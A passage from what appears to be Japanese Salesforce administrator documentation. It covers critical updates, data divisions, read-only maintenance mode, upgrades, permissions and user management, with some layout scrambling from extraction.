警告: 各更新の有効化によるテストは、開発者 Sandbox またはピーク時以外の本番環境で行うことをお勧
めします。

重要な更新を管理するには、[設定] から [重要な更新] をクリックします。このページから、Salesforce によって
永久に有効化されていないすべての更新について、更新の概要、状況、自動有効化日付を確認できます。更新
の影響を受ける可能性がある組織のカスタマイズのリストなど、更新のさらに詳しい情報を確認するには、
[確認] をクリックします。
更新に [有効化]リンクがある場合は、Salesforceによって自動的に有効化される前に、このリンクをクリックし
て Sandbox または本番環境で更新をテストします。

重要な更新についての注意点
• Salesforceでは、カスタマイズが重要な更新の影響を受けるかどうかを判断するために、組織を分析します。

カスタマイズに影響しない場合、Salesforce によって組織の更新が自動的に有効化されます。
• スケジュール済みの自動有効化日付になると、その更新は、Salesforce によって永久に有効化されます。自

動有効化後に更新を無効にすることはできません。
• 各更新の詳細ページには、更新によってカスタマイズがどのような影響をうけるかと、意図しない機能を

修正する方法が記載されています。
• 重要な更新が利用可能になった後、[設定] メニューに最初にアクセスすると、メッセージが表示されます。

このメッセージで、Salesforce が更新を即座に表示するようにするのか、更新について後で通知するのかを
選択できます。
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ディビジョンを使用してデータを整理する
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ディビジョンでは、組織のデータを論理セクションに分類できます。これによ
り、検索、レポート、およびリストビューがユーザにとってより有用となりま
す。ディビジョンは、データ量が極めて多い組織に有用です。

メモ: ディビジョンによってユーザのデータアクセスが制限されることは
ないため、セキュリティ対策には向いていません。

ディビジョンの機能
ディビジョンは、ユーザと他の種類のレコードに割り当てることができま
す。たとえば、北米ディビジョンだけの商談を表示するレポートを作成する
ことにより、北米営業チームの営業数値を正確に把握できます。
ディビジョンの設定
ディビジョンの設定では、ディビジョンを作成し、レコードをディビジョンに割り当てて、データが効率
的に分類されるようにする必要があります。
ディビジョンの作成と編集
組織の論理的なディビジョンを作成すると、レコードが分割され、検索やレポート作成が簡単になります。
ディビジョン間での複数レコードの移行
レコードのグループを選択してディビジョン間で移動します。
ユーザのデフォルトのディビジョンの変更
ユーザ設定を管理できる場合、ユーザのデフォルトのディビジョンを変更できます。
ディビジョンを使用したレポート
組織でディビジョンを使用してデータを分類している場合、特定のディビジョン内のレコードを表示する
ようにレポートをカスタマイズできます。

ディビジョンの機能

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ディビジョンは、ユーザと他の種類のレコードに割り当てることができます。
たとえば、北米ディビジョンだけの商談を表示するレポートを作成することに
より、北米営業チームの営業数値を正確に把握できます。
• レコードレベルのディビジョン — ディビジョンは、個々のレコード上の項

目で、そのレコードを特定のディビジョンに属するものとしてマークしま
す。レコードは、システム管理者が作成したディビジョンや、組織がディビ
ジョンを有効化したときに自動的に作成される標準の「グローバル」ディビ
ジョンに帰属させることができます。レコードが一度に帰属できるディビ
ジョンは 1 つのみです。

• デフォルトのディビジョン — ユーザは、ディビジョンが有効である新規作
成取引先、リード、およびカスタムオブジェクトに適用されるデフォルトの
ディビジョンに割り当てられます。

• 所属ディビジョン —「ディビジョンの使用」権限を持っている場合は、サイドバーのドロップダウンリス
トを使用してディビジョンを設定できます。設定すると、検索で現在の所属ディビジョンのデータだけが
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表示されるようになります。所属ディビジョンは随時変更できます。「ディビジョンの使用」権限を持っ
ていない場合は、常に全ディビジョンのレコードが表示されます。

次の表は、ディビジョンの使用が各種エリアに与える影響を示します。

説明領域

「ディビジョンの使用」権限を持っている場合:検索
• サイドバー検索では、1 つのディビジョンか、す

べてのディビジョンを選択できます。
• 高度な検索では、1 つのディビジョンか、すべて

のディビジョンを選択できます。
• グローバル検索では、1 つのディビジョンか、す

べてのディビジョンを検索できます。
• ルックアップダイアログの検索の場合、ルックアッ

プダイアログウィンドウのドロップダウンリスト
から選択したディビジョンのレコードが検索結果
として表示されます。

メモ: 特定のディビジョン内のすべての検索に
は、グローバルディビジョンも含まれます。た
とえば、「西部ディビジョン」というディビジョ
ン内で検索すると、西部ディビジョンとグロー
バルディビジョンの両方で見つかったレコード
が検索結果に含まれます。

「ディビジョンの使用」権限を持っていない場合は、
検索結果に、常にすべてのディビジョンのレコードが
表示されます。

「ディビジョンの使用」権限を持っている場合は、リ
ストビューに、リストビューを作成または編集すると

リストビュー

きに指定したディビジョンのレコードだけが表示され
ます。すべてのレコードが含まれるとは限らないリス
トビュー (私のオープンケースなど) には、すべての
ディビジョンのレコードが表示されます。
「ディビジョンの使用」権限を持っていない場合は、
リストビューに、常にすべてのディビジョンのレコー
ドが表示されます。

Chatterではディビジョンはサポートされません。たと
えば、Chatterフィードを異なるディビジョンごとに分
けることはできません。

Chatter

「ディビジョンの使用」権限を持っている場合は、レ
ポートオプションを設定して、1 ディビジョンだけの

レポート

レコード、または全ディビジョンのレコードを表示で
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説明領域

きます。標準の検索条件 (「私のケース」や「私のチー
ムの取引先」など) を使用するレポートには、すべて
のディビジョンのレコードが表示されており、さらに
特定のディビジョンに制限することはできません。
「ディビジョンの使用」権限を持っていない場合は、
レポートに、常に全ディビジョンのレコードが表示さ
ます。

レコードの詳細ページを保存するとき、関連リストに
は、ディビジョンに関係なく、自分がアクセス権を持
つすべての関連レコードが表示されます。

レコードと関連リストの表示

ディビジョンが有効である取引先、リード、またはカ
スタムオブジェクトを新規作成すると、ディビジョン

レコードの新規作成

は、他の設定を優先させるように設定していない限
り、デフォルトのディビジョンに自動的に設定されま
す。
取引先またはすでにディビジョンを持つその他のレ
コードに関連付けられた新しいレコードを作成する場
合、新しいレコードは既存のレコードのディビジョン
に割り当てられます。たとえば、ディビジョンが有効
になったカスタムオブジェクトとの主従関係の従側に
存在するカスタムオブジェクトレコードを作成した場
合、そのレコードには、マスタレコードのディビジョ
ンが割り当てられます。
非公開の商談や、取引先と関連のない取引先責任者な
ど、他のレコードと関連のないレコードを作成する
と、ディビジョンは、自動的にグローバルディビジョ
ンに設定されます。

ディビジョンが有効である取引先、リード、またはカ
スタムオブジェクトを編集するときに、ディビジョン

レコードの編集

を変更できます。主従関係によって関連付けられてい
るすべてのレコードも、新しいディビジョンに自動的
に移行されます。たとえば、取引先責任者と商談は、
関連付けられている取引先の新しいディビジョンに移
行され、従側のカスタムオブジェクトは、マスタレ
コードの新しいディビジョンに移行されます。
他のタイプのレコードを編集するときには、ディビ
ジョン設定を変更できません。
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説明領域

カスタムオブジェクトでディビジョンを有効にする
と、Salesforceは最初にそのカスタムオブジェクトの各
レコードをグローバルディビジョンに割り当てます。
カスタムオブジェクトレコードを作成すると、次のよ
うになります。

カスタムオブジェクト

• カスタムオブジェクトでディビジョンが有効であ
れば、レコードはデフォルトのディビジョンを採
用します。

• そのカスタムオブジェクトが、ディビジョンが有
効なカスタムオブジェクトとの主従関係の従側で
ある場合、レコードはマスタレコードのディビジョ
ンを採用します。

参照関係を主従関係に変換すると、従側のレコードが
現在のディビジョンを失い、マスタレコードのディビ
ジョンを継承します。
主従関係を参照関係に変換する場合、従側のレコード
のディビジョンは、以前のマスタレコードによって決
まります。

リレーション

主従関係に削除する場合、従側のレコードのディビ
ジョンは、以前のマスタレコードによって決まりま
す。
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ディビジョンの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ディビジョンを作成また
は編集する
• 「すべてのデータの編

集」

ディビジョンの設定では、ディビジョンを作成し、レコードをディビジョンに
割り当てて、データが効率的に分類されるようにする必要があります。
組織でディビジョン機能の使用を開始する前に、ディビジョンを有効にする必
要があります。標準オブジェクトを使用している場合は、Salesforceに連絡して、
組織でディビジョンを使用できるようにします。カスタムオブジェクトの場合
にディビジョンを有効にするには、カスタムオブジェクト定義ページで [ディビ
ジョンを有効化] を選択します。
1. データの区分方法に基づいて、必要となるディビジョンを計画します。

たとえば、北米営業チームに属すすべてのレコード用に 1 つのディビジョン
を作成し、欧州営業チーム用に 1 つのディビジョンを作成したりします。
100

2. 組織のディビジョンを作成します。デフォルトでは、既存のすべてのレコー
ドは「グローバル」ディビジョンに割り当てられます。デフォルトのディビ
ジョン名の変更、追加ディビジョンの作成、ディビジョン間でのユーザおよ
びデータレコードの移動を行うことができます。

3. リード、取引先、カスタムオブジェクトを該当するディビジョンに移行しま
す。レコードがディビジョンに割り当てられていると、関連レコードも同じ
ディビジョンに割り当てられます。
たとえば、取引先に割り当てられているディビジョンを変更すると、取引先責任者や商談などの関連レコー
ドも同じディビジョンに割り当てられます。

4. ディビジョン項目をページレイアウトに追加します。
5. ディビジョンを項目レベルセキュリティに追加します。
6. すべてのユーザに適用するデフォルトのディビジョンを設定します。新規の取引先とリードは、ユーザが

明示的に異なるディビジョンに割り当てない限り、ユーザのデフォルトのディビジョンに割り当てられま
す。既存のレコードに関連する新規レコードは、既存のレコードのディビジョンに割り当てられます。

7. ディビジョンによるリストビューの制限、ディビジョン内での検索、ディビジョン内でのレポート作成を
実行できるユーザに対して、「ディビジョンの使用」権限を有効にします。
「ディビジョンの使用」権限のないユーザも、デフォルトのユーザレベルディビジョンを使用でき、ディ
ビジョン項目の表示、レコードのディビジョンの変更、レコード作成時のディビジョンの指定を行うこと
ができます。
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ディビジョンの作成と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ディビジョンを作成また
は編集する
• 「すべてのデータの編

集」

組織の論理的なディビジョンを作成すると、レコードが分割され、検索やレポー
ト作成が簡単になります。
ディビジョンが組織で有効になっている必要があります。
ユーザがディビジョンを定義するまで、初期状態ですべてのレコードは、デフォ
ルトの「グローバル」ディビジョンに割り当てられています。無効なディビジョ
ンも含め、最大 100 個のディビジョンを作成できます。
1. [設定] から、[クイック検索] ボックスに「ディビジョンの管理」と入力し、

[ディビジョンの管理] を選択します。
2. [新規] をクリックしてディビジョンを作成するか、[編集] をクリックして既

存のディビジョンを変更します。
3. ディビジョン名を入力します。
4. ディビジョンを有効化するには、チェックボックスを選択します。

メモ: ユーザキューまたはリードキューがそのディビジョンに割り当て
られている場合は、ディビジョンを無効化できません。

5. [保存]をクリックします。
6. [ディビジョン] 選択リストにディビジョンが表示される順序を変更する場合

は、[並び替え] をクリックし、矢印ボタンを使用してディビジョンをリストの上または下へ移動します。

ディビジョン間での複数レコードの移行

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レコードを一括移行する
• 「すべてのデータの編

集」

レコードのグループを選択してディビジョン間で移動します。
一度に複数のレコードにディビジョンを再割り当てするには、取引先、リード、
またはユーザのグループをディビジョン間で移行します。
1. [設定] から、[クイック検索] ボックスに「ディビジョンの一括移行」と入力

し、[ディビジョンの一括移行] を選択します。
2. 移行するレコードのタイプを選択して、[次へ] をクリックします。取引先に

割り当てられたディビジョンを変更すると、取引先責任者や商談などの関連
レコードが同じディビジョンに割り当てられます。カスタムオブジェクトに
割り当てられたディビジョンを変更すると、そのカスタムオブジェクトに属
する他のカスタムオブジェクトも新しいディビジョンに移行されます。

3. レコードに一致する検索条件を選択し、[次へ] をクリックします。
4. レコードの移行先となるディビジョンを選択します。
5. ユーザレコードを移行する場合、[Change the division...] を選択し

て、ユーザのレコードも新しいディビジョンに転送できます。
6. [転送]をクリックします。移行が完了すると、メールで通知されます。移行

対象のレコードが 5,000 件以上ある場合、要求は処理用のキューに置かれま
す。
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ユーザのデフォルトのディビジョンの変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ユーザのデフォルトの
ディビジョンを変更する
• 「ユーザの管理」

ユーザ設定を管理できる場合、ユーザのデフォルトのディビジョンを変更でき
ます。
組織でディビジョンを使用してデータを分割している場合、デフォルトのディ
ビジョンがすべてのユーザに割り当てられ、新規取引先、リード、該当のカス
タムオブジェクトに適用されます。デフォルトのディビジョンによって、ユー
ザが他のディビジョンのレコードを参照または作成できなくなることはありま
せん。ただし、新しいレコードが既存のレコードに関連する場合、新しいレコー
ドには既存のレコードと同じディビジョンが割り当てられます。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選

択します。
2. デフォルトのディビジョンを変更するユーザの名前、別名、またはユーザ名

をクリックします。
3. [デフォルトのディビジョン] 項目の横にある [変更] をクリックします。
4. デフォルトのディビジョンを新たに選択します。
5. ユーザがすでに所有しているレコードに適用するアクションを選択します。
6. [保存] をクリックします。
独自のデフォルトのディビジョンを変更している場合は、ステップ 1 を省略して個人設定に移動します。[ク
イック検索]ボックスに「高度なユーザの詳細」と入力し、[高度なユーザの詳細]を選択します。結果がありま
せんか? [クイック検索] ボックスに「個人情報」と入力し、[個人情報] を選択します。

ディビジョンを使用したレポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートをディビジョン
別に絞り込む
• 「ディビジョンの使

用」

組織でディビジョンを使用してデータを分類している場合、特定のディビジョ
ン内のレコードを表示するようにレポートをカスタマイズできます。
レポートの [ディビジョン] ドロップダウンリストを使用して、次のいずれかを
選択します。
• 特定のディビジョン
• 現在の所属ディビジョン
• すべてのディビジョンの全レコード

メモ: 標準の検索条件を使用しているレポート (「私のケース」、「私の
チームの取引先」など) には、すべてのディビジョンのレコードが表示され
ます。これらのレポートは、特定のディビジョンに制限することはできま
せん。

関連トピック:

所属ディビジョンの変更
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Salesforce のアップグレードとメンテナンス
Salesforce はメジャーアップグレード用に最大 5 分のサービス中断を確保していますが、分割や移行などの他の
メンテナンスイベント中はデータにアクセスできます。

参照のみモード
定期メンテナンス中であっても、すぐにデータにアクセスできます。ビジネスの中断を最小限に抑えるた
め、分割、インスタンス移行、インスタンス切り替え、事前スクリプト、および他の特定のメンテナンス
イベント時には参照のみのアクセス権がユーザに付与されます。
5 分アップグレード
Salesforce では、サービスの新しいメジャーバージョンをロールアウトするために定期メンテナンスを予定
しており、これにかかる時間はわずか 5 分間です。このような次のリリースへのアップグレードは、年に
3 回あります。
デスクトップクライアントの最新バージョンの確認

参照のみモード

エディション

使用可能なエディション:
すべてのエディション

定期メンテナンス中であっても、すぐにデータにアクセスできます。ビジネス
の中断を最小限に抑えるため、分割、インスタンス移行、インスタンス切り替
え、事前スクリプト、および他の特定のメンテナンスイベント時には参照のみ
のアクセス権がユーザに付与されます。

参照のみモードで可能な操作
Salesforce が参照のみモードの場合、アプリケーション内を移動して、ビジネスデータの表示およびレポート作
成を行うことができます。
参照のみモードでは、次の操作は実行できません。
• データの追加、編集、削除
• Salesforce データを変更するすべての Salesforce アクションの実行。次に例を示します。

– Chatter での投稿
– LiveAgent の使用
– ダッシュボードの更新
– API 書き込み/編集アクションの実行
– 一括 API 読み取りアクションの実行
– 新規または編集済みのレポートの保存

メモ: 既存のレポートは引き続き実行できます。

活動アラームは発生せず、[最近使ったデータ] リストは更新されません。ログイン履歴はコンプライアンス目
的のため引き続き記録されますが、組織が参照のみモードを終了してから数分経過するまで組織には反映され
ません。
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組織が参照のみモードの場合、デスクトップおよびモバイルブラウザユーザには、ブラウザウィンドウ上部に
バナーが表示されます。

参照のみモードになるタイミング
trust.salesforce.com に掲載されるメンテナンススケジュールには、今後の各メンテナンス実施時間に参照のみア
クセスが含まれるかどうかが示されます。定期メンテナンス実施時間の長さは、必要なメンテナンスレベルに
よって異なります。さらに、定期メンテナンス実施時間の 2 週間前のユーザへの通知にも、メンテナンスに参
照のみアクセスが含まれるかどうかが記載されます。
参照のみモードで組織がどのように機能するかを確認するには、Salesforce に連絡して Sandbox 組織でテストオ
プションを有効にするように依頼してください。

5 分アップグレード

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

Salesforce では、サービスの新しいメジャーバージョンをロールアウトするため
に定期メンテナンスを予定しており、これにかかる時間はわずか 5 分間です。
このような次のリリースへのアップグレードは、年に 3 回あります。
組織では最大 5 分間の中断を想定しておく必要がありますが、多くの場合、中
断は 1 分以下で済みます。アップグレード時にサービスが利用できなくなるこ
とを通知するエラーメッセージがユーザに表示され、アップグレードの完了時
に再度ログインするように求められます。
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デスクトップクライアントの最新バージョンの確認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

クライアント更新通知を
表示する
• プロファイルに対する

「オン、通知あり、更
新可」

または

「オン、通知あり、更
新必須」
on your profile

Salesforce for OutlookやConnect Offlineなどのデスクトップクライアントは、Salesforce

を PC と統合します。システム管理者が、インストールを許可するデスクトップ
クライアントを制御します。
システム管理者が [ホーム] タブのアラートを有効にした場合は、新しいクライ
アントバージョンが使用可能になると、アラートバナーが [ホーム] タブに表示
されます。
また、コンピュータにインストールされているクライントを確認したり、自分
で更新を確認することもできます。
1. 個人設定から、[クイック検索]ボックスに「更新の確認」と入力し、[更新の

確認] を選択します。
2. テーブルから、利用可能なデスクトップクライアントの名前とバージョンを

確認します。
3. Internet Explorer を使用している場合、適切なデスクトップクライアントをク

リックし、[今すぐインストール] をクリックしてクライアントをインストー
ルします。Mozilla Firefox などの別のブラウザを使用している場合は、[今すぐ
ダウンロード] をクリックして、インストーラファイルをコンピュータにダ
ウンロードします。インストーラプログラムを実行するには、保存したファ
イルをダブルクリックします。

更新をインストールした後も、新しく更新されたクライアントでログインする
までは [ホーム] タブにアラートバナーが表示されます。

UI 要素、レコード、および項目の権限
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

UI 要素にアクセスするには、Salesforce のレコードまたは項目に対する特定の権
限が必要です。少なくとも、タブ、レコード、レコード項目、関連リスト、ボ
タン、またはリンクを表示する「参照」権限が必要です。レコードまたはレコー
ド項目を編集するには、「編集」権限が必要です。
何を参照または編集できるかは、個人用の表示またはページレイアウトをカス
タマイズした方法、および組織で使用しているエディションによっても異なり
ます。次の表に、さまざまなアクセス権の詳細を示します。

必要なアクセス権アクション

そのタブ内のレコードに対する「参
照」権限が必要です。

タブを参照する

特定のタブが表示されない場合、その
タブを表示するように個人用の表示を
カスタマイズしていることを確認しま
す。
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必要なアクセス権アクション

参照するレコードタイプに対する「参照」権限が必要
です。

レコードを参照する

特定のレコードが表示されない場合、組織で共有モデ
ルまたはテリトリー管理を使用しているかどうか確認
します。特定の共有モデルでは、レコードの所有者が
具体的にレコードを共有して他のユーザに参照アクセ
ス権を付与する必要があります。テリトリー管理で、
取引先、商談、およびケースへのアクセスが制限され
ている場合があります。

項目のレコードタイプに対する「参照」権限が必要で
す。

項目を参照する

特定の項目が表示されない場合、項目レベルセキュリ
ティとページレイアウトを確認します。項目レベルセ
キュリティで、項目へのアクセスが制限されている場
合があります。ページレイアウトで、項目が非表示に
なっている場合があります。

項目のレコードタイプに対する「編集」権限が必要で
す。

項目を編集する

特定の項目を編集できない場合、項目レベルセキュリ
ティとページレイアウトを確認します。項目レベルセ
キュリティで、項目へのアクセスが制限されている場
合があります。ページレイアウトで、項目が編集不可
に設定されている場合があります。

関連リストに表示されるレコードタイプに対する「参
照」権限が必要です。

関連リストを参照する

特定の項目が表示されない場合、ページレイアウトを
確認します。ページレイアウトで、項目が非表示に
なっている場合があります。

アクションを実行するために必要な権限があることを
確認します。ボタンやリンクは、それらを使用できる

ボタンまたはリンクを参照する

適切なユーザ権限を持っているユーザにのみ表示され
ます。

サービスを中断する方法は?
サービスがニーズに合わない場合は、サービスをキャンセルする必要があります。
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支払いに問題のないユーザは、システム内のデータの完全なダウンロードを要求できます。
要求を直接送信する場合は、Salesforce カスタマーサポートの請求部門にお問い合わせください。

ユーザ管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用できるユーザ管理オ
プションは、Salesforce の
エディションによって異
なります。

Salesforce では、各ユーザはユーザ名、パスワード、およびプロファイルによっ
て一意に識別されます。プロファイルはその他の設定と合わせて、ユーザが実
行できるタスク、参照できるデータ、データで可能な操作を決定します。

重要: Salesforceでは、組織の支援管理者を任命することをお勧めします。プ
ライマリシステム管理者が不在の場合は、支援管理者が組織の運営を維持
します。

システム管理者は、次のようなユーザ管理タスクを実行します。
• ユーザの作成と編集を行う。
• パスワードをリセットする。
• Google Apps アカウントを作成する。
• 権限を付与する。
• その他の種別のユーザを作成および管理する。
• カスタム項目を作成する
• カスタムリンクを設定する。
• ユーザに関するレポートを実行する。
• ユーザ管理タスクを他のユーザに委任する。
Salesforceのエディションと会社が購入した追加機能によっては、マーケティングやConnect Offlineなどの特定の
ライセンスがあります。これらのライセンスによって、ユーザライセンスに含まれていない機能にユーザがア
クセスできるようになります。これらのライセンスをユーザに割り当てたり、制限された項目やオブジェクト
にアクセスする組織外のユーザのアカウントを設定することもできます。ユーザライセンスを介して、カスタ
マーポータル、パートナーポータル、またはセルフサービスへのアクセス権を付与できます。Salesforce to

Salesforce を使用して、組織外の他の Salesforce ユーザとレコードを共有する接続を作成できます。

メモ:  Spring '12 以降、新しい組織ではセルフサービスポータルを利用できません。既存の組織は、引き続
きセルフサービスポータルを使用できます。

ユーザの表示および管理
ユーザリストに、自分の組織、パートナーポータル、および Salesforce カスタマーポータルの全ユーザを表
示して管理できます。
ライセンスの概要
ユーザに対して特定の Salesforce 機能を有効にするには、ユーザごとに 1 つのユーザライセンスを選択する
必要があります。追加の機能を有効にするには、権限セットライセンスと機能ライセンスをユーザに割り
当てるか、組織で使用量ベースのエンタイトルメントを購入します。
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パスワード
Salesforce では、組織の各ユーザに一意のユーザ名とパスワードを提供します。ユーザは、ログインするた
びにこのユーザ名とパスワードを入力する必要があります。システム管理者は、いくつかの設定を使用し
て、ユーザのパスワードが強固で安全なものとなるように設定できます。
ログインアクセスの制御
Salesforce システム管理者のアカウントアクセス許可を求めるメッセージをユーザに表示するかどうか、ま
たユーザが公開者にアクセスを許可できるかどうかを制御します。
他のユーザとしてログイン
他のユーザを支援するために、システム管理者は他のユーザとして Salesforce にログインできます。組織の
設定によっては、まず個人ユーザがシステム管理者にログインアクセスを許可する必要がある場合があり
ます。
管理任務の委任
代理管理を使用して、組織内のシステム管理者以外のユーザに限定的な管理者権限を割り当てることがで
きます。たとえば、カスタマーサポートチームのマネージャに、サポートマネージャロールとそのすべて
の下位ロールのユーザを管理させることにします。この目的で代理管理者を作成すれば、システム管理者
が他の管理作業に専念できます。
トピックおよびタグ設定
オブジェクトのトピックを有効にすると、ユーザはトピックをレコードに追加し、リストビューを使用し
て関連項目をすばやく取得できます。Chatter が有効化されていると、各トピック詳細ページの [レコード]

タブにも関連項目を表示できます。オブジェクトのトピックを有効にすると、そのオブジェクト種別のレ
コードの公開タグが無効になります。個人タグは影響を受けません。

関連トピック:

ユーザの表示および管理
ライセンスの概要
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ユーザの表示および管理
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

カスタマーポータルおよ
びパートナーポータル
は、Database.com Edition
では利用できません。

ユーザ権限

ユーザリストを参照する
• 「設定・定義を参照す

る」

ユーザリストに、自分の組織、パートナーポータル、およびSalesforceカスタマー
ポータルの全ユーザを表示して管理できます。
[設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ]を選択し
ます。
ユーザリストから、次の操作を実行できます。
• 1 人のユーザを作成する。
• 複数のユーザを作成する。
• 選択したユーザのパスワードをリセットする。
• ユーザを編集する。
• 名前、別名、またはユーザ名をクリックしてユーザの詳細ページを参照す

る。
• プロファイル名をクリックしてプロファイルを表示または編集する。
• 組織で Google Apps™ が有効な場合は、[Google Apps にエクスポート] をクリッ

クし、ユーザをGoogleにエクスポートしてGoogle Appsアカウントを作成しま
す。

メモ: これらのタスクの多くは SalesforceAモバイルアプリケーションから実
行できます。

ユーザ管理向けのヒント集
• ユーザが使用するカスタム項目を作成し、ユーザの詳細ページに表示される

カスタムリンクを設定します。これらのオプションにアクセスするには、
ユーザのオブジェクト管理設定に移動します。

• ユーザの状況に関係なく、サイドバー検索を使用して組織のユーザを検索します。レコード内の項目のルッ
クアップダイアログを使用する場合は、検索結果に有効ユーザのみが返されます。[レポート] タブでユー
ザレポートを実行することもできます。

• ユーザが多数いる組織でユーザ管理を簡略化するには、ユーザ管理の一部をシステム管理者以外のユーザ
に委任します。

メモ: 自分の組織に関連する管理任務を、パートナーポータルユーザやカスタマーポータルユーザに
委任することはできません。ただし、ポータルユーザにポータル管理任務の一部を委任することはで
きます。

ユーザを追加するためのガイドライン
ユーザを追加するための重要なオプションについて理解します。パスワードとログインに関してユーザに
伝えるべき内容を学習します。
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システム管理者と任務の分離
任務を分離すると、人またはエンティティの権限が制限されるため、問題が 1 か所に集中して発生するこ
とを防止できます。たとえば、複数のシステム管理者に、組織の別々の部分の管理を担当させることがで
きます。システム管理者が 1 人しかいない場合は、そのロールに支援者を割り当てることを検討してくだ
さい。支援者には、プライマリシステム管理者と同じプロファイルまたは権限セットを与えることができ
ます。
1 人のユーザの追加
組織の規模または新入社員研修プロセスによっては、一度に追加するユーザが 1 人の場合があります。追
加できるユーザの最大数は、Salesforce エディションによって異なります。
複数のユーザの追加
一度に最大 10 人のユーザを組織にすばやく追加できます。Salesforce のエディションごとに、追加可能な最
大ユーザ数が決まります。
ユーザの編集
ユーザのプロファイル、ロール、連絡先情報など、ユーザの詳細を変更するには、ユーザアカウントを編
集します。
ユーザのロック解除
ユーザが誤ったログイン情報を何度も入力すると、組織からロックアウトされることがあります。ユーザ
をロック解除して、再びアクセスできるようにします。
ユーザの無効化 (削除)

ユーザを削除することはできませんが、ユーザが Salesforce にログインできないように、アカウントを無効
化できます。
ユーザアカウントの凍結または凍結解除
場合によっては、アカウントをすぐに無効にできないことがあります (ユーザがカスタム階層項目で選択さ
れている場合など)。システム管理者が無効化の手続きをしている間にユーザが組織にログインしないよう
に、ユーザアカウントを凍結できます。
ユーザメールドメインの制限
ユーザの [メール] 項目で許可されるメールドメインを制限するホワイトリストを定義できます。
ユーザの項目
[個人情報] ページや他の個人設定ページを構成する項目では、ユーザについて説明します。

関連トピック:

ユーザの無効化 (削除)

ユーザアカウントの凍結または凍結解除
SalesforceA を使用したあらゆる場所からのユーザサポート
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ユーザを追加するためのガイドライン

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザを追加するための重要なオプションについて理解します。パスワードと
ログインに関してユーザに伝えるべき内容を学習します。
• ユーザ名は、すべてのSalesforce組織で一意である必要があります。ユーザ名

は、メールアドレスの形式である必要があります (jane@salesforce.com など)。
このメールユーザ名は、機能する必要はありません。アカウントに関連付け
られるメールアドレスは組織間で重複していてもかまいませんが、メールア
ドレス形式のユーザ名のみは一意にする必要があります。

• 名前に英語以外の文字が含まれ、Outlook でメールを表示する場合は、Outlook

内のメール形式設定に指定の言語を追加します。
• 新規ユーザにメールで送信されたアカウントの確認リンクは 6 か月で期限切

れになり、初回のログイン時にこのパスワードを変更する必要があります。
アカウントの確認リンクをクリックしたもののパスワードを設定しなかった
ユーザがログインするには、システム管理者がパスワードをリセットする必
要があります。

• Salesforce ライセンスを Force.com ライセンスに変更することはできますが、Force.com ライセンスを Salesforce

ライセンスに変更することはできません。
• すべてのオプションがすべてのライセンスの種類に使用できるわけではありません。たとえば、Force.com

ライセンスのユーザが [売上予測] タブと [キャンペーン] タブを使用できないため、[マーケティングユーザ]

と [売上予測を許可]オプションはForce.comユーザライセンスでは使用できません。Force.comユーザライセ
ンスは、Professional Edition、Group Edition、または Contact Manager Edition では使用できません。

• Performance Edition、Unlimited Edition、Enterprise Edition、および Developer Edition の組織では、[Apex 警告メール
の送信] を選択して、Apex を呼び出すアプリケーションが使用するリソースがガバナ制限によって指定さ
れたリソースの半分を超えたときに、ユーザにメールを送信できます。この機能をApexコード開発中に使
用すると、実行時に使用されるリソース量をテストできます。

関連トピック:

1 人のユーザの追加
システム管理者と任務の分離

システム管理者と任務の分離

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用できる各権限セット
ライセンスは、権限セッ
トおよび関連機能のエ
ディション要件によって
異なります。

任務を分離すると、人またはエンティティの権限が制限されるため、問題が 1

か所に集中して発生することを防止できます。たとえば、複数のシステム管理
者に、組織の別々の部分の管理を担当させることができます。システム管理者
が 1 人しかいない場合は、そのロールに支援者を割り当てることを検討してく
ださい。支援者には、プライマリシステム管理者と同じプロファイルまたは権
限セットを与えることができます。
1 人にすべての管理任務を負わせることは理にかなっていますが、問題が生じる
こともあります。たとえば、次のようなことが考えられます。
• システム管理者が病欠のときに、重要な変更を組織に加える必要がある。
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• システム管理者が労働条件に不満を持って退社したが、システム管理者プロファイルのログイン情報を持っ
ているのはその人だけである。

複数の人が主要な管理タスクを実行できるようにして、発生する可能性のある問題を避けてください。使用し
ているエディションによっては、カスタムプロファイルをシステム管理者プロファイルからコピーして作成で
きます。その後で、コピーしたプロファイルを適任者に割り当てます。プロファイルをコピーできない場合
は、唯一のシステム管理者が不在のときでもビジネスを継続できるようにするプロセスの実装を検討してくだ
さい。代理管理者を割り当てることで、管理タスクを委任することもできます。

関連トピック:

1 人のユーザの追加
管理任務の委任

1 人のユーザの追加

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

